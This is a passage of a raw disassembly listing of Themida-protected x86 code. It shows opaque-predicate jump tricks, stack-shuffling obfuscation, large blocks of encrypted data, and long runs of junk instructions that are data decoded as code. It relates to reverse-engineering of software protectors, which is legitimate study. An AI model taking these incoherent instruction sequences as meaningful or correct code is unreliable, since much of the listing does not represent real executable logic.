mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- push 0 push ebx call sub_5D5452 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D5452 proc near ; CODE XREF: Themida_:005D544Ap arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_5D5452 endp ; --------------------------------------------------------------------------- dw 0B3EBh dd 0CEF88C28h ; --------------------------------------------------------------------------- push ebx clc loc_5D546A: ; CODE XREF: Themida_:005D4EE9j ; Themida_:005D52FAj mov edx, edx pop esp sbb eax, 0B12E1E57h jnb short near ptr loc_5D549A+4 pushf insd xor ebx, esi xor edi, [edi+25h] pop es dec ebx cmp ebx, [ecx+7Bh] jl short near ptr loc_5D54FE+2 mov ch, bh xchg eax, ebp mov ecx, ebx adc byte ptr [ecx-75h], 0B5h xor ah, [eax-1] and eax, 210BA8D0h sbb al, 6Eh xchg ah, [ecx+3Ch] in al, 3Dh loc_5D549A: ; CODE XREF: Themida_:005D5472j mov ds:328864FEh, edi mov ebp, 36628851h cmp [eax-2FE490CEh], cl icebp out dx, eax mov dl, 0CCh push ss fistp qword ptr [edx+22E916CCh] mov [edx], dh idiv byte ptr [ebx-28h] icebp mov ah, 0D8h or edi, edi pop ds adc al, 8 shl byte ptr [ecx-52248973h], 1 cmp [eax-24C422CEh], cl fcmovu st, st cmp ecx, [eax+4B60CD32h] imul edi, [edi+67h], 7FFA36ACh lodsb mov al, ss:9D32883Bh push 0D407594Bh push esi mov bl, 8Dh cmp [ebp+79h], ch xor [ebp+32h], ebx and eax, 0B3EE5B36h xor eax, 1B642FE3h pop edx loc_5D54FE: ; CODE XREF: Themida_:005D5480j rcl byte ptr [ebx+3Eh], cl xchg ch, ch adc ecx, esp cmp eax, 0BEB3D88h mov [edx], dh mov bh, 5Dh aaa or [ebx-2Eh], ah lock xor ebp, ebp cmp esp, edx xor ah, [ebx+7B328BD3h] ; CODE XREF: Themida_:005D5558j cmp ebp, [eax+1667E6Fh] pop esi cli aas or [esi+4Bh], esi aas xchg eax, ebp xor dh, [edi+1867CD3Bh] test [ecx-7Dh], cl enter 0FFFFD8CCh, 0A2h int 46h ; Secondary Fixed Disk Params (AT,XT286,PS except ESDI) arpl [ebx-7FF249F8h], ax and al, 2Ch mov fs, word ptr [edx-74h] pop ebx call near ptr 87C6949Eh add ebp, ebp arpl cx, bp insb push edx aas lodsb push esp insb fisttp qword ptr [esi-37h] jnp short near ptr loc_5D5517+1 sbb al, 0ABh insb cmp eax, 6B5C8018h pusha cmp al, 0DEh cmp ecx, [eax-7E9B61EEh] or ah, cl sbb al, 0Eh test eax, 0EBCD7CA7h pop esp pop ebp add edi, ebp test eax, 3D8771ABh les ebx, ds:8E29A2EFh pop eax fisubr word ptr [ebp+60h] xor [edi+3Bh], ebp mov [edx], dl jmp near ptr 0B0192C89h ; --------------------------------------------------------------------------- db 1Fh, 8Ch, 0B3h dd 298C1FA9h, 74883BF6h, 2896F82Dh, 0F883571Bh, 3560E993h dd 0B883B6Fh, 0CC501AB5h, 0C309B7FBh, 75E56C3Ch, 3B0034A9h dd 3D883B7Bh, 3288383Ch, 0E33F34DEh, 0B9EEFBE4h, 3335B878h dd 328E29F4h, 8F0B3298h, 349A1ABFh, 62914F7Bh, 8A48B0EEh dd 32883FA4h, 39BDBEE6h, 0AF053DA5h, 349C96D2h, 6AD3E812h dd 13C18675h, 46883D69h, 8ADB6BAAh, 32883FA4h, 39BDBEE6h dd 0AF053DA5h, 349C9223h, 6AD3E812h, 32882F1Fh, 0B472C77Bh dd 8B0D170Dh, 0F9D59472h, 87E28FBCh, 8BF5EA6Dh, 329AD2AFh dd 61873BEDh, 0F3CDC4DDh, 4B992084h, 3CFA5385h, 0B20563E1h dd 6D79B03Eh, 3B61FB3Ch, 0EA883BDBh, 5849EDE6h, 0EB4665C6h dd 0AB14A6F6h, 32E23DAAh, 328BD38Ch, 68A83B6Fh, 66016174h dd 76093FFFh, 329E3FC9h, 60CA3BF6h, 0D7B154B8h, 206F82DBh dd 461EBE53h, 0CD713D78h, 328FD267h, 0BBA3BDBh, 0AAB133AFh dd 3D483038h, 32889DFFh, 618851BDh, 32883836h, 0F1D31B6Fh dd 16D4B2ECh, 16CCBADFh, 328827E9h, 0F1DB78F6h, 6957AE17h dd 9173D3A3h, 3D788EA8h, 328838EAh, 3E42BBB7h, 7CC3A656h dd 0CBE83DFFh, 8AE9CA7Dh, 32883B78h, 0DADE3BD7h, 32883BDDh dd 6C4B654Fh, 36AC4F3Eh, 36AC7F5Ah, 32883BF4h, 0F74B6DB0h dd 6389E24Eh, 0D177C375h, 0DADB3BB4h, 32883B6Ch, 694B6097h dd 36AC6752h, 36AC7F6Ch, 32883BECh, 464B6838h, 0FFE60C14h dd 35607801h, 57883B6Fh, 8C159BA4h, 38603FEFh, 3F883BEDh dd 874C46DCh, 806B4BEFh, 68D76B73h, 0BF78B087h, 25119FF2h dd 3298D3B1h, 0E6733BDBh, 0EE973DECh, 0BCFE90B0h, 6DC5E2D2h dd 8CEE9E48h, 0BFD1076Bh, 25FCADEAh, 608851B1h, 32883833h dd 0F1D21BEDh, 16DCB2ACh, 16CCBA7Fh, 328827B9h, 0F1DA79DEh dd 97BBB7DEh, 1F66A2E4h, 484EBAFAh, 3DD5F3D1h, 32883E76h dd 0C5095D7Bh, 0E2776D5Fh, 328BB6D1h, 0F7083B6Fh, 3D483093h dd 3288485Fh, 658851EDh, 3288381Eh, 0F1D71B7Bh, 16F4B2E2h dd 16CCBADAh, 32882D6Bh, 0F1DF7CB7h, 63585F6Bh, 0BF7BB1B7h dd 20C6706Bh, 6488517Dh, 32883855h, 0F1D61BDEh, 16FCB231h dd 16CCBAB3h, 328823DFh, 0F1DE7DEDh, 2F4BF77Eh, 33365DE5h dd 32898321h, 0D1773BDEh, 0DADB3B05h, 32883BB4h, 694B60FBh dd 36AC6764h, 36AC7F77h, 32883B63h, 254B68FEh, 7DC8B03Dh dd 0AB21A6E2h, 32E23DA0h, 328BD38Ch, 6DA83BEDh, 4E016435h dd 76093F5Fh, 32903F99h, 65CF3BDEh, 0B3D6B6ACh, 0B7054A0Dh dd 349F4F4Dh, 0EE47BA8Bh, 0C13734F7h, 0F708EB84h, 3D48308Eh dd 32881E5Ah, 0FC035D6Fh, 0AF05C93Ch, 349A7590h, 330034BAh dd 0CB883BF6h, 328B8322h, 8CEE3BBDh, 9B39997Fh, 8BEED890h dd 0BFCBAB66h, 2511A966h, 0E305B6EBh, 8A8E2C6Bh, 0B8C36706h dd 32DDBE8Eh, 0FDA33DCCh, 119FF2BFh, 98D3B125h, 733BDB32h dd 973DECE6h, 0FE90B0EEh, 0C5E2D2BCh, 839E486Dh, 0A4F305E9h dd 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 519B21C3h, 0DE816602h, 0C38BCFC7h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0AAC35343h, 8CB62088h dd 8BFB8BAEh, 0EE8C0h, 89910000h, 77A38A66h, 856DBB21h dd 0DAD1E1D0h, 0CE9h, 19812F00h, 0D4437422h, 0EAA99109h dd 860F5927h, 0 ; --------------------------------------------------------------------------- cmp dword ptr [ebp+6122F01h], 0 jnz short loc_5D5952 cmp dword ptr [ebp+6122149h], 0 jz short loc_5D596B loc_5D5952: ; CODE XREF: Themida_:005D5947j push eax push ebx mov eax, eax mov eax, 47Ah mov [ebp+61202B9h], eax lea ebx, [ebp+614AD70h] call ebx ; _iob pop ebx pop eax loc_5D596B: ; CODE XREF: Themida_:005D5950j cmp dword ptr [ebp+6122149h], 0 jz short loc_5D598B push eax push ebx mov eax, 47Ah mov [ebp+61202B9h], eax lea ebx, [ebp+614AA11h] call ebx ; _iob pop ebx pop eax loc_5D598B: ; CODE XREF: Themida_:005D5972j mov ecx, edx xor dl, 14h push 0 push edx call sub_5D599B and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D599B proc near ; CODE XREF: Themida_:005D5993p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_5D599B endp ; --------------------------------------------------------------------------- mov esp, 8B506FD1h ror byte ptr [ebp+179FCB8Dh], 6 push 0 push esi call sub_5D59C2 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D59C2 proc near ; CODE XREF: Themida_:005D59BAp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_5D59C2 endp ; --------------------------------------------------------------------------- dw 7D4Ah ; --------------------------------------------------------------------------- movsb db 26h nop xor [ebp-746E4C7Eh], edx mov byte ptr [ecx+122DCD8Dh], 6 push 0 push ecx call sub_5D59EF and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D59EF proc near ; CODE XREF: Themida_:005D59E7p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_5D59EF endp ; --------------------------------------------------------------------------- db 19h ; --------------------------------------------------------------------------- pop esp mov dword ptr [ebp+61231BDh], 6358h call near ptr loc_5D5A11+6 stosd loc_5D5A11: ; CODE XREF: Themida_:005D5A0Bp adc ah, [ebp+ecx*4+51EDBE14h] sbb ebx, 2F4DA241h pop eax pop edx mov dword ptr [ebp+6120011h], 0 push 0 push ebx call sub_5D5A35 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D5A35 proc near ; CODE XREF: Themida_:005D5A2Dp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5D5A35 endp ; --------------------------------------------------------------------------- push 0FFFFFFDCh and esi, [ebx-50345640h] add al, [edi] push dword ptr [ebp+6122D79h] jmp loc_5D5A62 ; --------------------------------------------------------------------------- dw 789Ah dd 0F5DA116Ah ; --------------------------------------------------------------------------- mov dl, 40h loc_5D5A62: ; CODE XREF: Themida_:005D5A55j call dword ptr [ebp+6122781h] push 0 push ecx call sub_5D5A73 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D5A73 proc near ; CODE XREF: Themida_:005D5A6Bp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_5D5A73 endp ; --------------------------------------------------------------------------- db 5Fh dd 0DE853h, 40F40000h, 993B2CDEh, 60319586h, 13960A0h dd 120ED9BDh, 6A5806h, 29D195FFh, 0C08B0612h, 7B851FEBh dd 6FBDFCB8h, 0F33985ACh, 0BB47026Fh, 4F8C2D1Bh, 9FC96090h dd 9CF318F6h, 82F08BB3h, 0BE8C0h, 4ACA0000h, 0BD49E1D8h dd 0C2FFB29Ah, 1B58B6Ch, 5806121Dh, 3890Fh, 0BF0F0000h dd 0E6C081F6h, 8B000069h, 12090D9Dh, 0BA06h, 0C7800000h dd 234FF4Bh, 59F78B66h, 11B99D23h, 0C1810612h, 767A3A3Ch dd 2871B50Bh, 0C1810612h, 556AFD90h, 0D103EF81h, 0E98160B6h dd 4F021EF7h, 3880Fh, 0E3800000h, 100C89B8h, 108B0Fh, 0BE90000h dd 1F000000h, 0BF00F3BCh, 0B177B368h, 83F8AA03h, 0B52B03EAh dd 6122ABDh, 19B58B4Ah, 8106122Eh, 0FF96ECFAh, 28850FFFh dd 0E8000000h, 7, 6F05EDB8h, 66490484h, 5FA668BBh, 27E9h dd 0A900AD00h, 50E6710Bh, 9626C269h, 0D05D324Eh, 89712A29h dd 122571B5h, 0FF63E906h, 0C6B8FFFFh, 0F7A205AEh, 995AB2F7h dd 0A18E8D8Dh, 8D890617h, 6122DCDh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 0D8C35646h, 62939133h, 0BF0F789Dh dd 459D8BC0h, 0C7061226h, 1231BD85h, 69A006h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 8A0FB633h, 3, 0C726F280h, 12001185h, 6, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 3FB884F3h, 9BEDE42h, 120ED99Dh, 2D958906h, 0FF061220h dd 1225B1B5h, 6D958B06h, 0FF061203h, 12278195h, 68B0F06h dd 89000000h, 121E45BDh, 0FF006A06h, 1229D195h, 0EBC08B06h dd 0D0196F0Eh, 4452B355h, 0B20FE6A6h, 0E9259342h, 0Fh dd 64B37969h, 7C809E01h, 0 dd 0E9000000h, 0E45h, 17A35068h, 0DF3BE906h, 6F68FFFAh dd 0E90617A4h, 0FFFADF31h, 17A5E868h, 0DF27E906h, 3168FFFAh dd 0E90617A7h, 0FFFADF1Dh, 17A92368h, 0DF13E906h, 6C68FFFAh dd 0E90617ABh, 0FFFADF09h, 17AD0968h, 0DEFFE906h, 5968FFFAh dd 0E90617AEh, 0FFFADEF5h, 99E62968h, 36838C00h, 0D522ED9Dh dd 6FBC533Ch, 0B58B7D6h, 39549A1Bh, 9BF089D6h, 28E2774h dd 6727C00Dh, 32815BA8h, 0F7015D2Ah, 6B411E4Dh, 82019314h dd 7F4935F5h, 5CB3DBECh, 0DF305E27h, 452C3592h, 7C107E86h dd 767749F2h, 0F497F817h, 547BB01Bh, 7C2E7AD3h, 4FE25CD2h dd 0F1629CEFh, 0A63B574Dh, 0A46B24DDh, 0E12CA411h, 0D38C24AEh dd 4F2257B8h, 3CBABCh, 12CB0000h, 0D402957Ah, 1C0A5AEh dd 96CB4448h, 0B9C130C3h, 49F17F0Dh, 20386D78h, 4DF1806Bh dd 1E756C88h, 24AEDFA6h, 7E3D4D06h, 0F18D1176h, 0FC67724Dh dd 891CF39Bh, 0D287h, 5B14D900h, 3748DB34h, 0BA83B857h dd 3E073CD3h, 0E900BF50h, 0DF5FA6E1h, 37CAD547h, 18722B52h dd 1AF596F7h, 0F7187687h, 5ABCC2AAh, 6C2247DFh, 642BE4A3h dd 821B18ABh, 41CE030Ch, 828A4938h, 49F16558h, 0F8EF3C47h dd 5C44B3Fh, 0F16E8AFDh, 5BEEF94Dh, 0D9987D86h, 0E4A3ABC2h dd 974DF16Eh, 0ED99F98Ch, 98500411h, 1563139h, 1A2547E6h dd 5637F0AFh, 0BAD36CB9h, 0CA454801h, 7512C295h, 647E601h dd 701190FBh, 2EDB154h, 0BF6965Dh, 6F220000h, 0D2BA53A0h dd 3357F03Dh, 99F68FDCh, 0FD902976h, 0E0D5C512h, 43907F0Eh dd 0E12EE1AAh, 7AC74848h, 1562ADE1h, 0A3E4EC3Bh, 0E04DF702h dd 1B722D03h, 800EA7F4h, 6527F299h, 37A275AAh, 0AEC97FCCh dd 0F901C0A5h, 49F17ECDh, 0D9365811h, 34F3FE46h, 69FC137Bh dd 811F6C84h, 0EF9B4DF1h, 7AAF602Ah, 3E073CA7h, 0C38CC14Eh dd 401348C7h, 657A67ABh, 0C9C0213Dh, 24AEDFC9h, 0F5929AB1h dd 864DF18Ch, 0D4E6E87Bh, 38000000h, 0BEF31C72h, 427798F5h dd 0DF5A542Ah, 2BE4AA47h, 0C64945DEh, 0D03F4E07h, 1B6C749Bh dd 6847DF64h, 7A5FF25Dh, 0C28BD253h, 0D10BE36Bh, 1D60693Eh dd 0E0117215h, 9B061147h, 0A66923DCh, 523D9E71h, 0B3BB2ABDh dd 49F21327h, 13CC8B96h, 768EDA77h, 0F099C468h, 0FDD45C85h dd 0B85FFC22h, 0C2CB2825h, 870C14D3h, 6C500407h, 0A4E9A261h dd 0E22D5E17h, 5D2ADAADh, 1E47E60Eh, 36A16E1Dh, 37530CCBh dd 0AF4845D8h, 0BB543BDEh, 592ED150h, 5F04EDB1h, 0AD798h dd 818E0300h, 1EF19B34h, 0BD5238D1h, 57B8D770h, 0F31C710Ah dd 0EFFFB6A6h, 8B24719Eh, 29C20F00h, 0C25BA867h, 1CF643CCh dd 3C2C5CDh, 0E4C14DF7h, 355B140Eh, 573647DAh, 0BCD26BB8h dd 72500653h, 0F5BEF31Ch, 0FEB77699h, 0F2EF828Dh, 0E6A58C95h dd 967916CFh, 9BFB8E61h, 49F16CCBh, 0A2BAEFFAh, 4DF16DECh dd 7913CC0Bh, 2AB70396h, 0AEEC6363h, 711B824h, 0AE0A0000h dd 4801C0A5h, 0C396CB44h, 91B9C130h, 0EC49F17Dh, 0F794ACE1h dd 0C34DF17Ch, 0D03F51C8h, 24673065h, 0E7996F5h, 0B22F43D9h dd 83B85737h, 11D45B0h, 0FF29A9E0h, 0D4FE24AEh, 50000006h dd 1C0A5AEh, 0F18775F9h, 8F9049h, 7E11DA0Fh, 1E895C91h dd 9A195CF5h, 3BA6F40Eh, 2A5D657Ch, 594DF1FAh, 0AFD6BB4Eh dd 0F9F79098h, 79844DF1h, 0FA0586E6h, 0DBB54DF1h, 5836FF34h dd 535B82B7h, 4DF1FA34h, 0FA0E3C47h, 0AECAF2E7h, 78645C33h dd 7CB124AEh, 3000006h, 0D4DDAE9Bh, 28262EEDh, 5F49F175h dd 43230354h, 0E5BA0496h, 308BFFDCh, 0E69B5F28h, 0A6111CD1h dd 0E4657C3Bh, 0E62C02CAh, 88E110B3h, 0F2CBAAD3h, 65222AE9h dd 16D1E6F8h, 8618780Bh, 61D3F910h, 8B942156h, 0E4DFE7A6h dd 0FD6071Eh, 28C4504h, 6727C00Dh, 0FF34DBB2h, 14B7D0D8h dd 0B9C4D1E7h, 0B964E34Eh, 9967B043h, 95E2DF4h, 78A0000h dd 6A22BB08h, 0CBBF58A5h, 315EF744h, 95F891DEh, 783D2D7Ah dd 0ABF81776h, 49967912h, 0E22FE0B0h, 7DCA4549h, 3B4C54A3h dd 484DF705h, 9314956Bh, 0FFAC964Ah, 1122B531h, 0D05D927Dh dd 131BDAC7h, 49F5D712h, 45CAC17Ah, 62AA3D10h, 0ABE02F61h dd 0F863ACE2h, 8358408Dh, 974DF6D9h, 0EE116F9h, 0E9100DE5h dd 85F00DC4h, 0B51B45C6h, 15169FDBh, 47000F82h, 2435C847h dd 2DE6A56Ah, 0A679AE61h, 0AFB91613h, 0C4FB03C2h, 0F74DF71Ch dd 0A0EEB7ECh, 0AA2B226Fh, 0EA6F850h, 33DCB0BFh, 0E6D535C8h dd 964DF6C4h, 0C510777Fh, 68734DF6h, 4DCCC4D5h, 1562CD42h dd 262B651Eh, 745099A6h, 42D5405Ch, 7DB25D31h, 0F6532665h dd 0C51C604Dh, 987713CCh, 0B79AF405h, 0A978D57Eh, 0E1A00BE6h dd 0ECC5C2CAh, 0ABB641C7h, 0C821B18h, 0EEA7CE03h, 80E0739Ch dd 41C7FD0Bh, 8208C1D0h, 0F285588Dh, 0DEB03BA6h, 34EDE431h dd 1322B55Ah, 121h, 6A1D253Ch, 1941C7FCh, 724D7B0Eh, 818EFD1Ch dd 7818E116h, 3D4A6297h, 7547DF60h, 858A0019h, 0DD127D50h dd 9B5A4750h, 0F4FF9293h, 97162149h, 0EBA0561Ch, 15EAB156h dd 41000008h, 0D972BF50h, 760F5CB3h, 15AEFB14h, 0AF48957Ah dd 0F4E431DEh, 0AF602DC1h, 4DC2C962h, 0E6296700h, 818E0099h dd 30B5A34h, 4DF70684h, 72441AF7h, 7C93FD1Ch, 699E711Bh dd 556C2B96h, 0DF603A4Dh, 0AB3E4947h, 0A4E69FC6h, 8A850A6Bh dd 72A7E6F7h, 0F6BFF41Bh, 72457A95h, 0B64F9C07h, 0F57635DAh dd 0F4AC9ACh, 1512A537h, 0B0FD127Ch, 0DA997617h, 27EACF59h dd 39CCE1E8h, 90AC2D54h, 0FE5F66C1h, 48EF901h, 0E2ED47E0h dd 0BAD3E477h, 0ADDD9655h, 0BEACF62h, 1A315A87h, 0E0047512h dd 68FB0647h, 8CD93657h, 0BC5B3F97h, 7EC22h, 743E0000h dd 0ACh, 0F31C72DEh, 6FE5A6BEh, 0E7F647DFh, 1BAE612Eh dd 0B7D712CFh, 1E720B58h, 0EAA4BCF1h, 0DE47DF6Fh, 0A7BEC71Ah dd 0DF6FE89Fh, 0FD909B47h, 1E6BA4ECh, 0FB1E7268h, 52117C93h dd 82BA3CD1h, 0FCCF040Bh, 0A57D19D3h, 20F328E7h, 163D22B5h dd 8290F7FFh, 0E8F347DFh, 0D3080787h, 345C6D00h, 0B3DDA6DBh dd 0B4E92666h, 784176E1h, 1C6FB14h, 0D84F944Dh, 4B048D54h dd 0C699CE41h, 0A16E2233h, 8BC66C54h, 1A6047DFh, 29E6A473h dd 7F821F4h, 8542AD6Ch, 22BCF00Ch, 32DDB36Ch, 95972AFDh dd 0FFFFFE7Bh, 36974E7h, 0E49D0000h, 0A6D467A8h, 90FD1C72h dd 0C774A7Fh, 5FFCBFD7h, 2EE247DFh, 0B95638B3h, 0C34C41FAh dd 2B28BB8Eh, 5413FC92h, 0E51AF59Bh, 7F447754h, 0C02B5B89h dd 0A021482Dh, 1DEDEC09h, 0A4049755h, 47E05B17h, 50BFCC85h dd 0A4B5481Bh, 0BEC9D1EAh, 0BD47E05Ah, 851247B2h, 1DD6957Ch dd 95689D72h, 0C37C9302h, 54B447C8h, 49F5FAD1h, 21F94ECFh dd 28285F67h, 505B4DF7h, 0A92D4D27h, 85D65E20h, 9BC42F00h dd 731203E4h, 66AE4148h, 18DDDC5Bh, 50F5EBA0h, 62389h dd 0CD424F00h, 6AA5E780h, 906841Dh, 0A36C23BCh, 3FD0BD56h dd 3BB302F2h, 0D770BD52h, 750E5BB4h, 0EA7F41Bh, 68428F80h dd 8761119h, 28054DF7h, 0F31C7252h, 7798F5BEh, 12FD912Ah dd 7B15CEC5h, 0F98C5F94h, 356AA5E8h, 0B9EE216Ch, 19219AF0h dd 47DF5F6Eh, 6297020Dh, 0E71CF399h, 46A36C1Eh, 138A4F92h dd 0F697528Fh, 72A76823h, 0C22DE2A9h, 0BD150A57h, 0FD22BCE2h dd 34C74844h, 25232h, 0A4AE8400h, 0AA638ABFh, 3C9C2FE0h dd 412C5C65h dd 0D90E0189h, 0D18010h, 460CF67Ch, 29083DA8h, 7FA73CA5h dd 4C057E63h, 12757D3Eh, 7146CE4Ch, 0FB68FB66h, 0DC520E9Bh dd 21650h, 0A4AEA200h, 8FF800BFh, 0C547DF5Fh, 3CB6BA44h dd 0B877C73Dh, 0DFCCD7B0h, 699A447h, 667EB3BEh, 412CCA3Bh dd 0E855C78h, 0DC5271B6h, 1E663h, 5B14B500h, 69A6EA2Fh dd 0C1F66134h, 0F008DEEh, 9F7407DAh, 70F1B095h, 0E4B4D342h dd 0CE3DD002h, 0E008BDC6h, 81E9F47h, 37505888h, 4447DF8Eh dd 586E1039h, 0A26BB346h, 6D75DDEBh, 47DFE41Ah, 0C9355E69h dd 83C2EB78h, 0A2F9738Dh, 31B50BBh, 412CA59Eh, 0F44CBC4h dd 92C74846h, 0FEE3FEEAh, 788097D6h, 46CE170Fh, 82CE616Ch dd 55A8285Fh, 707DDC52h, 8E000001h, 696BBD5h, 87C6F01Dh dd 274E83EEh, 0CD8D681Fh, 0A5101B46h, 0A4AEE412h, 30E900BFh dd 0C020B35Ch, 47DF5FFFh, 546CA1ACh, 412C5D4Dh, 3C538EAAh dd 0DC521C44h, 13691h, 1C72E300h, 99F5BEF3h, 0C3CC2976h dd 6005828Ah, 6B7647DFh, 55394100h, 3049F18Ch, 10C9F025h dd 0A101947Bh, 4DF18EEAh, 9DF4ED09h, 24AECD25h, 31F2h dd 0A5AE4400h, 0CDF901C0h, 3849F17Eh, 0ABE0F82Dh, 484DF180h dd 9DEAF209h, 0DE4DF180h, 0E151AAD3h, 88E62CA5h, 5138A9F5h dd 24AE7271h, 9AA6h, 9314F800h, 17B54141h, 0F90A9DA7h dd 7C457A95h, 0C9FE11h, 254C818Eh, 0BCF11E6Ch, 494556E9h dd 0ED9179C6h, 0F47DFA7h, 0E643907Fh, 3139F8DDh, 49F24AE8h dd 540DCCD7h, 0F089D639h, 0A4F3729Dh, 0CEEBA314h, 3DA6229h dd 8B060000h, 0EE9E3784h, 4F3BD421h, 0B5DA73C0h, 19740D5Ah dd 0FCB9A9F6h, 27749BF2h, 0C512FD8Eh, 5EAB642Ch, 0F946C9C5h dd 0BFC8D01Fh, 0BC4DF70Ah, 5B1409DFh, 3A4BDE31h, 44FDBC53h dd 0C093C847h, 0ACE12E5Fh, 0B04946D9h, 473373DEh, 0A7150DC3h dd 7239EF3Ch, 0F5BEF31Ch, 0A0B77699h, 0DF5FEF98h, 0EE818C47h dd 5F8509F1h, 6A7347DFh, 5F681F27h, 0EE8A47DFh, 0F4ED0895h dd 0B9242FC7h, 1688F2FAh, 0D79049F2h, 7DC558B7h, 146F2572h dd 3F1F325Bh, 7167B74Fh, 1B23E24Dh, 47DF776Ch, 6071040Fh dd 6EA1EB2Eh, 8B4403h, 0CE977C0Fh, 0A5024FC0h, 0EEF6B59Ch dd 49F1A4A0h, 0E12F1EE7h, 7AE83AC7h, 0C9C2DA0Fh, 2A4DF1EDh dd 0BBCCD4EBh, 0FF4DF1EDh, 0DBE67E91h, 0AEE5FC48h, 24AE6CD6h dd 4803h, 0A5AE5500h, 0CDF901C0h, 3849F17Eh, 0ABE0F82Dh dd 0F4DF180h, 925B907Fh, 0D9B617F8h, 0B4700136h, 0AB7A4236h dd 0E9F80C3Ah, 31B0CCF4h, 24EB9F58h, 0ACAC2491h, 0CE7924AEh dd 8A000000h, 0BE1C6B73h, 545F4DF1h, 0E47798F3h, 0F31C72B6h dd 7798F5BEh, 0FA157942h, 3E1D9EC5h, 3063B818h, 0E1ADBE51h dd 85F9E12Eh, 0D747E031h, 140B58B7h, 0AADF305Bh, 0FB66A9E1h dd 0D8375768h, 280D16A3h, 2BF56169h, 0D5E049F2h, 33222B88h dd 0D4AF6C74h, 35945004h, 0E5DB5A2Dh, 67602947h, 0D4F38F74h dd 2CEB56C1h, 0EE371A73h, 0E9D00864h, 30C83E4h, 4390FBCEh dd 0AD2CE3AAh, 0EDB167D8h, 3DAE751Ah, 69000002h, 19AE728h dd 9E37848Bh, 3DD623ECh, 0D770BD52h, 1C0C59B6h, 0D7385599h dd 759AF18Ah, 0E018F28h, 0A96628C1h, 2B33825Ch, 4DF70C5Ch dd 726C421Fh, 7C35F41Bh, 0EE9CFD12h, 8619EC21h, 719EF089h dd 7B94F9B2h, 0E3E07346h, 0C0A5AE2Dh, 1AD3EA01h, 96699E71h dd 0DF5FA1E6h, 44D7E247h, 0F17EE2E4h, 0E51A2549h, 888705BEh dd 0A5578053h, 83B851EEh, 820969FCh, 714DF189h, 0FB147932h dd 0CEC51C68h, 24AED4F6h, 11023h, 0F7B3400h, 23EC9F00h dd 1C726290h, 98F5BEF3h, 542A4277h, 0AA47DF5Ah, 45DE2BE4h dd 4E07C649h, 0C99CD13Eh, 712A5136h, 895EF11Eh, 0BBD29180h dd 4F848B02h, 0CD89E97Ch, 1149F15Ch, 6595F2FAh, 0DBE64DF1h dd 99A10048h, 4DF165EEh, 0BBC3828Dh, 4DF165CCh, 0EC39A4AFh dd 434B868Fh, 4DF16544h, 2C12C37h, 0B55A32EBh, 8AFDAD80h dd 0F94DF165h, 10FF8DEEh, 0B8060E7Dh, 0E8500407h, 9C7318D1h dd 0A3E49467h, 0E047E60Bh, 790E16D5h, 0A47E60Bh, 19246CFFh dd 23ECA15Ah, 7EAAE364h, 9366214Ch, 530C0300h, 0F78803Bh dd 6C47E56Ch, 0EEC1F661h, 0E434A5Bh, 0D83F91B7h, 0F271DCA2h dd 0EDB1BE89h, 0EDFDC469h, 19000000h, 0B14A9778h, 4EE734DBh dd 0ED86D33Ch, 87206DA2h, 0CCBC0906h, 878805E9h, 25EAA13Ah dd 0BE513FD8h, 59B6D871h, 0DBE3320Ch, 4DF70DACh, 721CF2CFh dd 72B4361Bh, 0F6E7BE42h, 0E9A53E8Bh, 29E2D926h, 39D6B861h dd 33C699CEh, 0F31C7205h, 7699F5BEh, 0E8C3CC29h, 820C6DA2h dd 1A85588Dh, 0FFD6535Bh, 0DAE549F4h, 0C5C57EA5h, 0E8A6B74Ah dd 0CCE3DA27h, 0DAADB5h, 9EA94DF7h, 0F70099EEh, 4CDFEA4Dh dd 87BC533Bh, 79C85F6Fh, 62ADDDEBh, 77DA9C2Dh, 5CFAF1Ch dd 0F227E8A4h, 5E835E4Ah, 2AC51C30h, 6BECAB64h, 44448B2h dd 201DB068h, 0AA17A829h, 56385EDFh, 33DCB2C3h, 0B55A35FEh dd 0F5ECD880h, 2E7B94FAh, 6F182037h, 0CAC933Eh, 4D3A4201h dd 2EAC933Eh, 0F7F9023h, 0D04CB00h, 6E000000h, 92F5FD14h dd 0F147DF5Fh, 4F253E6h, 0BBF01F72h, 3E739CF2h, 0BFF41B75h dd 457A95F6h, 0C9FE117Ch, 4D828D00h, 0CF040B84h, 568B8406h dd 0DB10FF8Dh db 0D4h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebp push 1F74h mov [esp], edi mov ebp, 700466B9h add ebp, 35FA4BC5h push edx mov edx, 196C46F7h add edx, 66171212h sub edx, 52C8E295h or ebp, edx pop edx add ebp, 5818AB8Ch push esp mov edi, [esp] add esp, 4 push edx mov edx, ebp mov [edi+8], edx mov edx, [esp] add esp, 4 push dword ptr [esp] pop edi add esp, 4 mov ebp, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_583BD9 ; --------------------------------------------------------------------------- sbb edi, 